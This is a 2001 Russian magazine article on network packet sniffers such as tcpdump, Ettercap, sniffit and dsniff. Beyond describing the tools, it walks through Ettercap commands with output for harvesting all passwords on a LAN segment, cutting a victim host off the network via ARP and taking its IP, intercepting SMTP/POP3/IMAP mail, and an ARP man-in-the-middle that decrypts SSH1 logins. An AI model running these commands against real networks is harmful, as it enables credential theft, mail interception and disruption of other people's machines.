Сетевые нюхачи

Перехватчики сетевых пакетов могут не только использоваться администратором сети для проверки и детального анализа правильности конфигурации сетевого программного обеспечения, но и представляют собой серьезную угрозу, поскольку могут перехватывать и расшифровывать имена и пароли пользователей, конфиденциальную информацию, нарушать работу отдельных компьютеров и сети в целом.

[Андрей Матвеев]

Перехватчики сетевых пакетов могут не только использоваться администратором сети для проверки и детального анализа правильности конфигурации сетевого программного обеспечения, но и представляют собой серьезную угрозу, поскольку могут перехватывать и расшифровывать имена и пароли пользователей, конфиденциальную информацию, нарушать работу отдельных компьютеров и сети в целом. Как бороться с этим недугом программистской мысли мы попробуем разобраться в следующих статьях из цикла "Linux обеспечивает безопасность сети".

В настоящее время аппаратная архитектура Ethernet завоевала большую часть рынка при создании локальных сетей, хотя существуют и другие аппаратные решения не на IEEE 802.3, такие как FDDI, Token Ring (802.5), ARCNET, WAN, ATM и другие. Относительная недороговизна в сочетании с технической скоростью передачи данных в 10, 100 и 1000 мегабит в секунду способствует ее популярности. Сеть Ethernet работает как магистраль, через которую любой узел может пересылать пакеты на другой узел, подключенный к тому же сегменту сети. Для перенаправления пакетов из одной сети в другую необходимо пользоваться репитером, свитчем или хабом. Процесс передачи фреймов обеспечивает межсетевой протокол, который не зависит от оборудования и представляет различные сети в одну сеть. Но при использовании этого протокола нет гарантий, что пакет достигнет адресата, но решение этой задачи обеспечивает протокол TCP/IP, занимающийся гарантированной доставкой пакетов. TCP не единственный протокол в стеке протоколов TCP/IP, существует еще протокол UDP, который много быстрее протокола TCP, так как не создает и не закрывает сеанс соединения, а узел с помощью его просто отправляет данные в дейтаграммах другим узлам в сети. Пакет, отправленный в широковещательной сети одним из узлов, принимается всеми находящимися в этом сегменте сети машинами, но только узел назначения, указанный в заголовке пакета, "смотрит" на него и начинает его обработку (относится и к TCP и к UDP протоколам).

Анализаторы пакетов относятся к классу инструментальных программных средств для мониторинга сетевого траффика и выявления некоторых типов сетевых проблем. По умолчанию сетевой интерфейс видит пакеты, предназначенные только для него. Однако анализаторы устанавливают его в режим приема всех пакетов - promiscuous mode, прослушивают сеть и заставляют сетевой интерфейс принимать все фреймы, вне зависимости от того, кому они адресованы в сети. Для установки "вручную" сетевого интерфейса в неразборчивый режим необходимо включить флаг PROMISC: ifconfig eth0 promisc; для отключения promiscuous mode: ifconfig eth0 -promisc .

Ярким примером инструментального программного средства служит программа tcpdump, написанная Вэном Якобсоном и поставляющаяся сейчас со многими дистрибутивами. Пример использования tcpdump:
tcpdump -i eth0 -n -vv -w /root/tcpdump.log
где:
-I - сетевой интерфейс;
-n - делаем числовой вывод адресов и номеров портов;
-vv - очень подробный вывод;
-w - запись лога в файл.
Чтобы прочитать перехваченный траффик из лога (выводим не на консоль, а в файл):
tcpdump -r /root/tcpdump.log > /root/tcpdump0.log

Фрагмент работы tcpdump:
14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167: udp 21
14:07:24.126187 > midian > 192.168.5.23: icmp: echo request
14:07:24.126667 < 192.168.5.23 > midian: icmp: echo reply

Первая строка показывает, что 192.168.5.17 пользуется программой для общения в локальной сети (делает широковещательный запрос, используется порт 8167), вторая и третья указывают, что хост midian проверяет машину с IP-адресом 192.168.5.23 программой ping.

Вынюхиватели пакетов несомненно полезны для решения администратором сети известных и неизвестных проблем, но существует и обратная сторона медали: неразборчивый режим приема пакетов позволяет злоумышленнику получать весь траффик в сети и фильтровать его на наличие имен, паролей пользователей, незашифрованных писем и т.д. Теперь все только ограничивается фантазией хакера.

Ettercap
Особенности этого сниффера:

  • работает на Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, FreeBSD 4.x, OpenBSD 2.[789], NetBSD 1.5.x, Mac OS (darwin 1.3);
  • перехват и расшифровка паролей TELNET, SSH1, FTP, POP, LOGIN, ICQ, SMB, MySQL, HTTP, HTTPS, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC;
  • возможнось вставки символов в установленное соединение - будет происходить эмуляция команд сервера и ответов клиента (работает только в интерактивном режиме);
  • нетребовательность к библиотекам libpcap, libnet, libnids в отличии от других снифферов;
  • поддержка плагинов; возможность написания собственных плагинов;
  • текстовый и псевдографический (основанный на ncurses) интерфейсы;
  • различные виды прослушивания; возможность использования фильтров;
  • работа в сети с активными интеллектуальными хабами.

Последнюю версию берем здесь: Устанавливаем сниффер:
./configure
make
make install
Устанавливаем плагины:
make plug-ins
make plug-ins_install

Некоторые опции сниффера:
-a, -s, -m - различные виды прослушивания;
-N - запускать сниффер без псевдографики;
-z - запуск в спокойном режиме;
-d - не преобразовывать IP-адреса в имена;
-i - сетевой интерфейс;
-l - вывести список хостов в сети;
-C - собирать все имена и пароли пользователей;
-f - определение операционной системы удаленного хоста;
-p - работа с плагинами;
-L - записывать в лог, имеющий формат: год…месяц…день-collected-pass.log

Рассмотрим некоторые виды использования этого сниффера. Перехватываем все имена пользователей и пароли в нашем сегменте сети и записываем в лог:
ettercap -NdzsCLi eth0
После недолгого ожидания получаем необходимое ;)
14:43:45 192.168.5.29:1755 <--> 212.48.140.154:80 www
USER: leshii
PASS: softerra
http://www.nm.ru/gateway_chat.shtml
Определяем операционную систему хоста, например, с IP-адресом 192.168.5.24:
ettercap - Ndzsfi eth0 192.168.5.24
Смотрим установленные у нас плагины и описания к ним:
ettercap - N -p list
Для активации плагина (например, пропингуем какой-нибудь хост):
ettercap - N -p ooze 192.168.5.33
Самый интересным на мой взгляд плагином является leech. Он изолирует удаленный хост от сети. Пример работы этого плагина:
Сначала проверим, "жив" ли хост:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
64 bytes from 192.168.5.23: icmp_seq=0 ttl=128 time=0.945 ms
64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562 ms
64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms
64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms

Запускаем плагин (операционная система хоста жертвы - win98se):
andrushock# ettercap -Ndp leech 192.168.5.23
Наблюдаем за процессом работы:
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting ./ec_leech.so plugin...
Building host list for netmask 255.255.255.0, please wait...
Sending 255 ARP request...
Listening for replies...
Isolating host 192.168.5.23...Press return to stop
Ждем пару минут и смело нажимаем ^C, затем проверяем работу плагина:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
---192.168.5.23 ping statistics---
4 packets transmitted, 0 packet received, 100% packet loss
andrushock#

Все, сетевой интерфейс на машине жертвы на некоторое время перестает работать, хотя операционная система и запущенные приложения функционируют в том же нормальном режиме. Но этого "некоторого" времени хватает, например, для того, чтобы заполучить себе IP-адрес жертвы:
ifconfig eth0 down
ifconfig eth0 inet 192.168.5.23
ifconfig eth0 up
И набираем команду, чтобы удостовериться о нашем "новом" IP-адресе: ifconfig eth0

Перехват незашифрованных почтовых сообщений. Вид записи: ./ettercap -Nzds <IP-адрес почтового сервера>:<port почтового сервера> <IP- адрес клиента>
Пример перехвата исходящих писем:
./ettercap -Nzds ANY:25 ANY > /root/sniff.smtp
И смотрим через некоторое время, что попалось в наши сети (привожу часть лога):
сat /root/sniff.smtp
Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:25
18:19:14 192.168.5.23:1030 --> 80.68.244.5:25
18:19:14 80.68.244.5:25 --> 192.168.5.23:1030
Далее идет процесс аутентификации, письмо от кого, адрес реципиента, их валидность и сам текст письма.
To: andrushock@fromru.com.
Subject: test.
Mime-Version: 1.0.
Content-Type: text/plain; charset=us-ascii.
Content-Transfer-Encoding: 7bit.
.
Hello andrushock,.
.
Test for Softerra.
.
-- .
Best regards,.
Noname mailto: ******@pisem.net.
Далее сообщение демона о принятии письма к отправке и завершение почтовым сервером соединения.

Для перехвата входящих в локальную сеть электронных писем используем:
./ettercap -Nzds ANY:110 ANY > /root/sniff.pop3
или
./ettercap -Nzds ANY:143 ANY > /root/sniff.imap4

Пример перехвата паролей во время сессии SSH:
На одной машине 192.168.5.21 стоит ettercap (назовем злоумышленник), на втором 192.168.5.4 sshd (назовем сервер), а на третьем 192.168.5.22 SecureCRT (назовем клиент).
./ettercap -Ndl - выводим список всех айпишников с МАС-адресами машин в сегменте локальной сети, запоминаем только МАС-адреса сервера и клиента. Запускаем сниффер на прослушивание и ждем когда клиент инициализирует сеанс Secure Shell с сервером и начнется процесс аутентификации. В этом случае машина злоумышленника является "мостом", через который будет проходить и расшифровываться на лету весь проходящий траффик между клиентом и сервером.
Вид записи:
./ettercap -za <IP-адрес сервера> <IP-адрес клиента> <MAC-адрес сервера> <MAC-адрес клиента>
./ettercap -za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47 00:A0:24:93:61:3D
Привожу "текстовый скриншот"

ettercap 0.5.4
SOURCE: 192.168.5.22 ? Filter: OFF
doppleganger - illithid (ARP Based) - ettercap
DEST: 192.168.5.4 ? Active Dissector: ON

??? hosts in this LAN (192.168.5.21 : 255.255.255.0)
1) 192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt

Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested
USER: testuser
PASS: softerra

В левом нижнем углу лицезреем уже расшифрованные имя пользователя и его пароль. Примечание: сетевой интерфейс действительно ed0, так как программа тестировалась в операционных системах Linux и FreeBSD.

Постоянно выходят новые версии Ettercap, в которых исправляются ошибки (например, только несколько версий назад исправили "глюк", когда после работы сетевой интерфейс, на котором был запущен этот сниффер падал), добавляются новые возможности и переносы на другие операционные системы, в отличие от программ описанных ниже, работа над которыми уже давно не ведется, хотя в настоящее время на мой взгляд эти анализаторы протоколов являются самыми популярными.

sniffit Возможности этого сниффера:

  • работает на LINUX, SunOS/Solaris, Irix, FreeBSD, BSDi, DEC/OSF, NetBSD;
  • перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;
  • использование конфигурационных файлов для создания фильтров;
  • имеет текстовый и псевдографический (основанный на ncurses) интерфейсы.
Примечание: необходимо наличие libpcap

dsniff Примечание: эту версию сниффера я не смог поставить на Red Hat Linux 7.0, поэтому пришлось качать более новую, но beta, где как раз исправлена ошибка компоновки для дистрибутивов Red Hat Linux 6,7.

Возможности этого сниффера:

    работает на OpenBSD (i386), Redhat Linux (i386), Solaris (sparc), FreeBSD, Debian Linux, Slackware Linux, AIX, HP-UX;
  • перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase, Microsoft SQL;
  • также в этот пакет входит набор "утилит" для перехвата сообщений AOL Instant Messenger, ICQ 2000, IRC, Yahoo Messenger chat, прослушивания ssh траффика, флуда локальной сети случайными MAC-адресами, ограничения пропускной способности соединения, обрыва заданного TCP-соединения и др.;
  • не имеет псевдографического интерфейса.
Есть еще одна интересная особенность этого сниффера. Наткнулся я на нее совершенно случайно...
cat dsniff.8 | grep 'Dug Song' > /root/dug.song && man sshd | grep 'Dug Song' >> /root/dug.song && clear && cat /root/dug.song
И вот что получилось:

Dug Song <dugsong@monkey.org> Niels Provos, Theo de Raadt, and Dug Song.

Выводы делаем сами...

Примечание: необходимо наличие
Berkeley DB - http://www.sleepycat.com/
OpenSSL - http://www.openssl.org/
libpcap - http://www.tcpdump.org/
libnids - http://www.packetfactory.net/Projects/Libnids/
libnet - http://www.packetfactory.net/Projects/Libnet/



[Источник Computerra Online]

[ опубликовано 22/10/2001 ]

Андрей Матвеев - Сетевые нюхачи   Версия для печати